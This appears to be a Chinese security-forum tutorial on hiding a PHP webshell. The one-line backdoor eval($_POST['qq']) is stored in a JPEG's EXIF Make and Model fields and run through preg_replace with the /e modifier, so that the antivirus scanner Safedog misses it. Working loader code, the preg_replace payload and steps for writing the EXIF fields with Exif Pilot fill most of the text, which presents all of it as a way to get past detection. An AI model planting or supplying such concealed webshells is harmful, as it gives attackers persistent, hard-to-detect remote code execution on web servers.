一、前言
本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
先说明三点:
这个不算什么新姿势,只不过被提到的次数比较少
(各大论坛常见的,无非编码、解码、分割等,本文不属于以上几种)
而且咱们i春秋论坛没有相关资料,小弟就来抛砖引玉了。
学习本教程应具备的基础:
第一点看我以前写的教程就可以了:
文字教程就在咱们论坛:
http://bbs.ichunqiu.com/thread-17816-1-1.html
二、正文
2.1 先看看效果
下面就是木马的代码:
php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); ?>
当然不光这个php文件,还有一个隐藏了后门的图片。
也就是上面那段代码里面的1.jpg
将图片和php文件,这两都上传的目标站点,这里用dvwa演示:
然后访问:
成功!
好了,再回来看看这个木马:
$x = exif_read_data('4.jpg');
preg_replace($x['Model'], $x['Make'], '');
?>
有经验的表哥估计已经看出端倪了,这个就是preg_replace代码执行
下面开始教学吧。
2.2 preg_replace代码执行
我们都知道正则匹配有八个修正符。
i是表示不区分大小写
x表示模式中的空白忽略不计,这个不是本次教程的重点,也就不多说,
没这方面基础的同学,赶快去菜鸟学院(上面有提供链接)恶补一下
而咱们要用到的就是e
php里只有preg_replace函数能使用这个修正符
使用e修饰符,preg_replace会将 replacement 参数(第二个参数)当作 PHP 代码执行
php preg_replace('/.*/e', '@eval($_POST["qq"])', ''); ?>
这个就是之前的一句话木马的原型了。
.*表示匹配所有字符
把它替换成@eval($_POST["qq"]),然后执行这个eval函数
为了让你们更清楚,我修改成以下代码:
php preg_replace('/.*/e', 'print_r("hello world")', ''); ?>
.在正则表达式里,匹配除 "\n" 之外的任何单个字符。
*表示匹配前面的子表达式零次或多次。
将要被处理的字符串,也就是pregreplace里第三个参数是空,也会被匹配到,并且将之替换成printr("hello world"),执行!
因此结果就如图片那样,显示hello world
因此替换成一句话木马,@eval($_POST["qq"]),也是可以执行
是不是很神奇,可惜安全狗知道你是木马。。
因此,咱们要把一句话藏在图片里,然后再调用。
如果正则表达式不过关的话,这里是很难理解的。
2.3 什么是EXIF
Exif就是在JPEG格式头部插入了数码照片的信息,包括拍摄时的光圈、快门、白平衡、ISO、焦距、日期时间等各种和拍摄条件以及相机品牌、型号、色彩编码、拍摄时录制的声音以及GPS全球定位系统数据、缩略图等。
ctf的某些图像隐写术题,就会把flag藏在exif里面
php中用函数exifreaddata可以读取jpeg的exif信息
echo ''
;
print_r(exif_read_data('1.jpg'));
echo '
';
这个就是隐藏了flag的图片
我们把他重命名为1.jpg,放在上面那段php的目录下
运行:
这样就读取到了这个图片的exif信息
2.4 开始制作木马
我们需要用到工具:exif pilot
他可以修改jpg图片的exif信息:
工具使用很简单,下载来就能直接上手。
用php的exifreaddata函数读取这个刚刚修改的图片看看:
现在,再回过头看看那段代码,应该很清楚了吧
php $x = exif_read_data('1.jpg'); preg_replace($x['Model'], $x['Make'], ''); //实际等于preg_replace('/.*/e', '@eval($_POST["qq"])', '') ?>
读取同目录下,1.jpg的exif信息,存在$x里
注意,$x是数组。
咱们的正则表达式存在了$x['Model']
一句话存在$x['Make']
注意区分大小写!
咱们执行看看:
成功,看不懂的去看我的一句话木马教程。
再看看安全狗的反应,咱们的木马文件名依旧是text1.php
这时候已经扫不出来了23333
三、结束语
此文是我看一篇国外的文章后写的,那篇文章已经有些年代了,所以我说不是什么新姿势,但过狗啊2333
而且这也能开阔思维,抛砖引玉。